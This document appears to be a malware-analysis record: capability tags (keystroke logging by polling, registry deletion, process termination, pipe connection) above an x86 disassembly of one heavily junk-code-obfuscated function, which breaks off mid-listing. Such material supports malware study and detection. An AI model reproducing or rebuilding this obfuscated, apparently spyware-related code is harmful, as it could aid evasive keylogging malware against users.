Function at 0x1001543e
Capabilities:
Accept command line arguments
Connect pipe
Delete registry key
Delete registry value
Get common file path
Log keystrokes via polling
Query environment variable
Terminate process

Disassembly:
mov eax, 0x100772f7
call fcn.100768ec
mov eax, 0x126c
call fcn.100729b0
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x70], ecx
push edi
inc ebx
mov byte [ebp - 0x71], dl
mov dword [ebp - 0x50], ebx
lea ecx, [ebp - 0x758]
push ebx
call fcn.100136d3
xor eax, eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x14], eax
jmp 0x1001548a
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x758]
mov dword [eax + ecx*4], 8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10015477
mov edi, dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
or eax, 0xffffffff
mov esi, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov ecx, eax
mov eax, dword [ebp - 0x758]
sub ecx, dword [eax]
xor eax, eax
cmp ecx, ebx
mov ebx, dword [sym.imp.USER32.dll_GetDC]
setg al
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x50], eax
jg 0x1001552e
mov dword [ebp - 0x2c], 0x10
cmp dword [ebp - 0x2c], 0x2e
jge 0x10015511
xor eax, eax
mov dword [ebp - 0x14], 0xfebf
mov dword [ebp - 0x14], 2
mov dword [ebp - 0x14], eax
jmp 0x10015502
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x100154ff
push eax
push eax
push 0xfa5
xor ecx, ecx
push eax
inc ecx
push ecx
push eax
call edi
xor eax, eax
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffffc
je 0x100154e5
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0x2e
jl 0x100154d2
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], al
je 0x1001556d
xor ecx, ecx
inc ecx
push ecx
push eax
call esi
push eax
call ebx
push eax
call dword [sym.imp.GDI32.dll_SelectPalette]
jmp 0x1001556d
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], al
je 0x10015546
push 0x66c
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x1001556d
push eax
push eax
push 0x90e
push eax
push 0x1f72
push eax
push 0xa14
push 0x185a
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea ecx, [ebp - 0x758]
call fcn.10013d7e
push 4
lea ecx, [ebp - 0x8f0]
call fcn.100136d3
xor eax, eax
lea ecx, [ebp - 0xe14]
mov dword [ebp - 4], eax
lea edx, [ebp - 0xe24]
movdqa xmm0, xmmword [0x10008180]
lea eax, [ebp - 0xce]
push eax
push ecx
mov dword [ebp - 0x38], 3
lea ecx, [ebp - 0xfa0]
push edx
movdqu xmmword [ebp - 0xe24], xmm0
call fcn.10013715
mov dword [ebp - 0x40], 0xc660f7e7
xor eax, eax
mov dword [ebp - 0x40], 7
mov dword [ebp - 0x40], 0xd857289c
mov dword [ebp - 0x24], 0xfffffffa
mov dword [ebp - 0x40], 6
mov dword [ebp - 0x14], eax
jmp 0x100155fb
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x8f0]
and dword [eax + ecx*4], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x100155eb
mov eax, dword [ebp - 0x8f0]
lea ecx, [ebp - 0xfa0]
mov eax, dword [eax + 4]
mov dword [ebp - 0x38], eax
dec dword [ebp - 0x24]
call fcn.10013d7e
or eax, 0xffffffff
lea ecx, [ebp - 0x8f0]
mov dword [ebp - 4], eax
call fcn.10013d7e
mov dword [ebp - 0x24], 0x9da4d073
push 7
pop eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x2c], eax
or eax, 0xffffffff
mov dword [ebp - 0x50], 0x6c84
mov dword [ebp - 0x40], 0xb2c593c8
mov dword [ebp - 0x18], 0x7fb0b029
mov dword [ebp - 0x38], eax
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1001566f
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xde4], 0xf84b8114
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1001565e
mov eax, dword [ebp - 0x18]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x38], eax
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jg 0x100156b1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + eax*4 - 0xde4]
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xde4], ecx
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x100156af
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jle 0x1001568b
xor eax, eax
mov dword [ebp - 0x14], eax
mov ecx, 0xf0f5
jmp 0x100156c8
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x11a4], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x100156bb
mov eax, dword [ebp - 0x2c]
mov edx, 0x5ba7
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x48]
dec eax
cmp dword [ebp - 0x24], eax
je 0x100156ee
mov eax, dword [ebp - 0x2c]
xor eax, eax
cmp dword [ebp - 0x50], eax
je 0x100156f6
inc eax
mov dword [ebp - 0x11a0], eax
mov dword [ebp - 0x24], 0x9da4d073
push 7
pop eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x50], 0x6c84
mov dword [ebp - 0x40], 0xb2c593c8
mov dword [ebp - 0x14], eax
jmp 0x1001572e
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x11bc], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x10015721
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x38]
dec eax
cmp dword [ebp - 0x24], eax
je 0x1001574f
mov eax, dword [ebp - 0x2c]
xor eax, eax
cmp dword [ebp - 0x50], eax
je 0x10015757
inc eax
mov dword [ebp - 0x11b8], eax
mov dword [ebp - 0x24], 0x9da4d073
push 7
pop eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x50], 0x6c84
mov dword [ebp - 0x40], 0xb2c593c8
mov dword [ebp - 0x14], eax
jmp 0x1001578f
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x11d4], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x10015782
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x38]
dec eax
cmp dword [ebp - 0x24], eax
je 0x100157b0
mov eax, dword [ebp - 0x2c]
xor eax, eax
cmp dword [ebp - 0x50], eax
je 0x100157b8
inc eax
mov dword [ebp - 0x11d0], eax
mov dword [ebp - 0x14], 0x2cf4
mov dword [ebp - 0x24], 0x3dfad5be
push 5
pop eax
mov dword [ebp - 0x24], eax
xor eax, eax
mov dword [ebp - 0x24], 0xab653b1d
mov dword [ebp - 0x38], 0x82104667
mov dword [ebp - 0x2c], eax
jmp 0x100157f8
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xd58], 0xf1c946b4
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 2
jl 0x100157e7
mov eax, dword [ebp - 0x14]
xor edx, edx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x14]
imul ecx, eax, 0xa9bc
mov dword [ebp - 0xd54], ecx
mov eax, dword [ebp - 0x14]
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setl dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x24], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x24]
inc ecx
mov dword [ebp - 0x38], eax
xor eax, eax
mov dword [ebp - 0x24], 0x9da4d073
mov dword [ebp - 0x18], 0xfffffff7
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ecx
jge 0x10015872
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x42c], 0x7013
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1001585a
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x1a
jge 0x10015942
mov dword [ebp - 0x2c], 0xba772304
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], eax
jl 0x1001593c
push 3
lea ecx, [ebp - 0x770]
call fcn.100136d3
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x100158c5
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x770]
mov dword [eax + ecx*4], 0x82ff40fc
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x100158aa
xor eax, eax
mov esi, dword [ebp - 0x770]
mov dword [esi + 8], eax
mov dword [ebp - 0x14], 0xbd2ab60
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], eax
jg 0x1001590b
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x100158f7
push 0x12fe
push eax
push 0x1e8a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov eax, dword [esi + 8]
mov eax, dword [ebp + eax*4 - 0x42c]
inc dword [ebp - 0x14]
xor eax, eax
cmp dword [ebp - 0x14], eax
jle 0x100158dd
inc dword [esi + 8]
cmp dword [esi + 8], 0
jle 0x100158ce
lea ecx, [ebp - 0x770]
call fcn.10013d7e
dec dword [ebp - 0x2c]
jns 0x10015892
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x1001593c
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x1a
jl 0x1001587f
mov esi, dword [sym.imp.USER32.dll_GetDesktopWindow]
push 7
pop ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x40], 4
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10015966
push 0x1418
push eax
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10015982
push eax
push eax
push 0x2ea
push 0x1e68
push eax
call dword [sym.imp.USER32.dll_InsertMenuA]
push 7
pop eax
mov dword [ebp - 0x20], eax
lea ecx, [ebp - 0x9d4]
xor eax, eax
inc eax
mov dword [ebp - 0x50], eax
push eax
call fcn.100136d3
xor eax, eax
xor edx, edx
mov dword [ebp - 0x2c], eax
inc edx
mov dword [ebp - 0x14], eax
jmp 0x100159ba
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x9d4]
mov dword [eax + ecx*4], 8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x100159a7
or eax, 0xffffffff
mov ecx, eax
mov eax, dword [ebp - 0x9d4]
sub ecx, dword [eax]
xor eax, eax
cmp ecx, edx
setg al
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x50], eax
jg 0x10015a49
mov dword [ebp - 0x2c], 0x10
cmp dword [ebp - 0x2c], 0x2e
jge 0x10015a2f
xor eax, eax
mov dword [ebp - 0x14], 0xfebf
mov dword [ebp - 0x14], 2
mov dword [ebp - 0x14], eax
jmp 0x10015a20
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10015a1d
push eax
push eax
push 0xfa5
push eax
push edx
push eax
call edi
xor edx, edx
xor eax, eax
inc edx
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffffc
je 0x10015a03
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0x2e
jl 0x100159f0
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], al
je 0x10015a88
push edx
push eax
call esi
push eax
call ebx
push eax
call dword [sym.imp.GDI32.dll_SelectPalette]
jmp 0x10015a88
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], al
je 0x10015a61
push 0x66c
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10015a88
push eax
push eax
push 0x90e
push eax
push 0x1f72
push eax
push 0xa14
push 0x185a
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea ecx, [ebp - 0x9d4]
call fcn.10013d7e
mov dword [ebp - 0x58], 0x6c84
lea ecx, [ebp - 0x788]
push 4
call fcn.100136d3
push 3
pop edi
lea eax, [ebp - 0xd2]
xor ebx, ebx
push eax
lea ecx, [ebp - 0xed4]
inc ebx
mov dword [ebp - 4], ebx
lea edx, [ebp - 0xee4]
movdqa xmm0, xmmword [0x10008180]
push ecx
mov dword [ebp - 0x38], edi
lea ecx, [ebp - 0x10f0]
push edx
movdqu xmmword [ebp - 0xee4], xmm0
call fcn.10013715
mov dword [ebp - 0x40], 0xc660f7e7
push 7
pop eax
mov dword [ebp - 0x40], eax
xor eax, eax
mov dword [ebp - 0x40], 0xd857289c
mov dword [ebp - 0x24], 0xfffffffa
mov dword [ebp - 0x40], 6
mov dword [ebp - 0x14], eax
jmp 0x10015b1c
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x788]
and dword [eax + ecx*4], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x10015b0c
mov eax, dword [ebp - 0x788]
lea ecx, [ebp - 0x10f0]
mov eax, dword [eax + 4]
mov dword [ebp - 0x38], eax
dec dword [ebp - 0x24]
call fcn.10013d7e
or eax, 0xffffffff
lea ecx, [ebp - 0x788]
mov dword [ebp - 4], eax
call fcn.10013d7e
or eax, 0xffffffff
mov dword [ebp - 0x18], 0x7fb0b029
mov dword [ebp - 0x38], eax
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x10015b72
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xb4c], 0xf84b8114
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10015b61
mov eax, dword [ebp - 0x18]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x38], eax
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x10015ba7
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + eax*4 - 0xb4c]
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xb4c], ecx
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x10015bad
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jle 0x10015b89
movdqa xmm0, xmmword [0x100081a0]
lea eax, [ebp - 0xd4]
push eax
lea ecx, [ebp - 0xe34]
mov dword [ebp - 0x40], 0xb2c593c8
push ecx
lea edx, [ebp - 0xe44]
push edx
lea ecx, [ebp - 0x1048]
movdqu xmmword [ebp - 0xe44], xmm0
call fcn.10013715
mov dword [ebp - 4], 2
lea ecx, [ebp - 0xb64]
mov dword [ebp - 0x34], 0xc6f1bf50
mov dword [ebp - 0x40], 0x54a
push edi
call fcn.100136d3
push 3
mov eax, 0xffff
pop edx
mov byte [ebp - 4], dl
mov dword [ebp - 0x40], 0x17a9413e
mov dword [ebp - 0x690], eax
mov dword [ebp - 0x68c], eax
mov dword [ebp - 0x688], eax
mov dword [ebp - 0x684], eax
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edx
jge 0x10015c50
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xb64]
and dword [eax + ecx*4], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x10015c39
xor eax, eax
mov dword [ebp - 0x34], edx
cmp dword [ebp - 0x34], eax
push 9
pop eax
jl 0x10015d14
jmp 0x10015c64
push 9
pop eax
mov dword [ebp - 0x40], 0xdd8d1303
lea ecx, [ebp - 0xcc0]
mov dword [ebp - 0x40], 0x23d1bca9
mov dword [ebp - 0x40], eax
push 7
pop eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x40], 0x868bb4a
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x40], 0xfffffffe
mov dword [ebp - 0x40], 0x1510afbd
push ebx
call fcn.100136d3
or ecx, 0xffffffff
xor eax, eax
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10015ccc
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xcc0]
mov dword [eax + ecx*4], 9
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10015caf
xor eax, eax
or ecx, 0xffffffff
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x10015cea
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x118c], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x10015cd5
xor eax, eax
dec dword [ebp - 0x68c]
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10015d00
push eax
call dword [sym.imp.GDI32.dll_GetObjectType]
lea ecx, [ebp - 0xcc0]
call fcn.10013d7e
dec dword [ebp - 0x34]
jns 0x10015c61
lea ecx, [ebp - 0xb64]
call fcn.10013d7e
or eax, 0xffffffff
lea ecx, [ebp - 0x1048]
mov dword [ebp - 4], eax
call fcn.10013d7e
mov dword [ebp - 0x14], 6
xor eax, eax
push 3
pop edi
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x18], 4
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x44], 0x12349124
cmp dword [ebp - 0x14], eax
je 0x10015e75
push 2
pop ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x50], 0x91df82d
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x2c], eax
jmp 0x10015d82
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x648], 0
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ecx
jl 0x10015d71
mov eax, dword [ebp - 0x18]
neg eax
mov dword [ebp - 0x38], eax
je 0x10015db7
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
cmp eax, ecx
mov eax, dword [ebp - 0x18]
setge dl
xor ecx, ecx
cmp eax, edx
setge cl
imul ecx, dword [ebp - 0x18]
cmp ecx, dword [ebp - 0x1c]
jl 0x10015db7
mov eax, dword [ebp - 0x50]
dec dword [ebp - 0x644]
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
cmp eax, 0xd238e486
setne cl
xor edx, edx
sub ecx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setl dl
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x18], eax
jge 0x10015e22
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], al
je 0x10015e5b
push 0x1ab5
push 0x2e7
push 0x145d
push 0x2097
push eax
call dword [sym.imp.USER32.dll_SetRect]
jmp 0x10015e59
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x10015e40
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xd74], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10015e2c
xor eax, eax
dec dword [ebp - 0xd6c]
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10015e59
push eax
call esi
push eax
call dword [sym.imp.USER32.dll_FlashWindow]
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10015e6b
push eax
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
xor eax, eax
inc dword [ebp - 0x44]
mov dword [ebp - 0x14], eax
jmp 0x10015ead
mov dword [ebp - 0x40], 0x7cc73ee4
or ecx, 0xffffffff
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x24], 0x1cdf
mov dword [ebp - 0x18], eax
jmp 0x10015e94
dec dword [ebp - 0x24]
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffe5
je 0x10015e8e
jmp 0x10015e6d
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x11ec], 0xf0f5
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x10015e9c
mov dword [ebp - 0x24], 0xb25b
mov ecx, 0xfff7
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x4c], 0xc8a52b4b
mov dword [ebp - 0x50], 0x45a8cced
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x38], 8
mov dword [ebp - 0x40], ebx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x2c], eax
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x10015eff
mov eax, ebx
mov dword [ebp - 0x50], eax
xor eax, eax
cmp dword [ebp - 0x50], eax
je 0x10015efd
mov ecx, ebx
jmp 0x10015f01
xor eax, eax
mov ecx, eax
push 9
pop eax
sub eax, ecx
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
sub eax, 0xb79dc866
neg eax
push 0xfffffffffffffffb
sbb eax, eax
xor ecx, ecx
inc eax
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x4c]
cmp eax, 0xfffffffb
pop eax
setne cl
sub eax, ecx
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], 0x5ba7
mov eax, dword [ebp - 0x28]
dec eax
cmp dword [ebp - 0x24], eax
je 0x10015f4b
mov eax, dword [ebp - 0x20]
xor eax, eax
cmp dword [ebp - 0x58], eax
je 0x10015f54
mov eax, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_FindClose]
mov edi, 0xdf2f4a8b
mov dword [ebp - 0x11e8], eax
mov dword [ebp - 0x38], 0x75c96dd1
mov dword [ebp - 0x14], edi
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x14], 0xc
cmp dword [ebp - 0x14], 0xfffffff3
jle 0x10015f9b
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10015f92
push eax
call ebx
xor eax, eax
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffff3
jg 0x10015f84
mov dword [ebp - 0x38], 0x75c96dd1
mov dword [ebp - 0x14], edi
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x14], 0xc
cmp dword [ebp - 0x14], 0xfffffff3
jle 0x10015fd1
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10015fc8
push eax
call ebx
xor eax, eax
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffff3
jg 0x10015fba
mov dword [ebp - 0x18], 0xfffffff8
xor eax, eax
xor ecx, ecx
mov dword [ebp - 0x38], 0x9d693ce8
mov dword [ebp - 0x14], eax
inc ecx
cmp dword [ebp - 0x14], ecx
jge 0x10016000
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x3c8], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10015fec
xor eax, eax
mov edi, dword [sym.imp.USER32.dll_PeekMessageA]
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10016028
push 0x2466
push 0x183b
push 0x2213
call esi
push eax
xor eax, eax
push eax
call edi
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x10
jle 0x1001616b
xor ebx, ebx
push 3
pop edi
push edi
lea ecx, [ebp - 0x408]
call fcn.100136d3
mov dword [ebp - 0x24], 0x6ce2e7c5
mov dword [ebp - 0x20], ebx
jmp 0x10016065
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x408]
mov dword [eax + ecx*4], 0x5610a143
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x10016052
xor edx, edx
mov dword [ebp - 0x20], ebx
inc edx
jmp 0x10016083
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x48c], 0xff57440e
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edx
jl 0x10016072
mov dword [ebp - 0x20], ebx
jmp 0x1001609e
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x908], 0x27b1
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x1001608d
cmp dword [ebp - 0x18], ebx
jne 0x100160e0
mov eax, dword [ebp - 0x408]
xor ecx, ecx
mov dword [ebp - 0x3c8], edx
cmp dword [eax], edx
setle cl
cmp ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x408]
jne 0x100160cb
cmp dword [eax + 4], ebx
je 0x100160da
cmp dword [eax + 4], ebx
jne 0x100160da
mov dword [ebp - 0x904], ebx
mov edx, ebx
jmp 0x100160e0
mov dword [ebp - 0x904], edx
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
test ecx, ecx
setle al
cmp eax, 0xd994
jle 0x10016107
cmp dword [ebp - 0x48c], ebx
je 0x10016107
xor edi, edi
inc edi
mov ecx, edi
jmp 0x1001610c
xor edi, edi
mov ecx, ebx
inc edi
mov eax, dword [ebp - 0x408]
cmp ecx, dword [eax + 4]
jl 0x10016121
mov ecx, ebx
cmp dword [ebp - 0x904], ebx
je 0x10016123
mov ecx, edi
xor eax, eax
cmp ecx, 0xad31fc53
mov ecx, 0xf2ca1253
setne al
cmp ecx, eax
lea ecx, [ebp - 0x408]
sbb eax, eax
neg eax
add eax, 0x4f957c33
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x38], eax
call fcn.10013d7e
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x10
jg 0x10016037
mov ebx, dword [sym.imp.KERNEL32.dll_FindClose]
mov edi, dword [sym.imp.USER32.dll_PeekMessageA]
mov dword [ebp - 0x38], 0x75c96dd1
mov dword [ebp - 0x14], 0xdf2f4a8b
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x14], 0xc
cmp dword [ebp - 0x14], 0xfffffff3
jle 0x100161a5
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x1001619c
push eax
call ebx
xor eax, eax
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffff3
jg 0x1001618e
mov dword [ebp - 0x18], 0xfffffff8
xor eax, eax
xor ecx, ecx
mov dword [ebp - 0x38], 0x9d693ce8
mov dword [ebp - 0x14], eax
inc ecx
cmp dword [ebp - 0x14], ecx
jge 0x100161d4
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x3dc], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x100161c0
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x100161f6
push 0x2466
push 0x183b
push 0x2213
call esi
push eax
xor eax, eax
push eax
call edi
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x10
jle 0x10016339
xor ebx, ebx
push 3
pop edi
push edi
lea ecx, [ebp - 0x418]
call fcn.100136d3
mov dword [ebp - 0x24], 0x6ce2e7c5
mov dword [ebp - 0x20], ebx
jmp 0x10016233
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x418]
mov dword [eax + ecx*4], 0x5610a143
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x10016220
xor edx, edx
mov dword [ebp - 0x20], ebx
inc edx
jmp 0x10016251
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x45c], 0xff57440e
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edx
jl 0x10016240
mov dword [ebp - 0x20], ebx
jmp 0x1001626c
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x7a0], 0x27b1
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x1001625b
cmp dword [ebp - 0x18], ebx
jne 0x100162ae
mov eax, dword [ebp - 0x418]
xor ecx, ecx
mov dword [ebp - 0x3dc], edx
cmp dword [eax], edx
setle cl
cmp ecx, dword [ebp - 0x18]
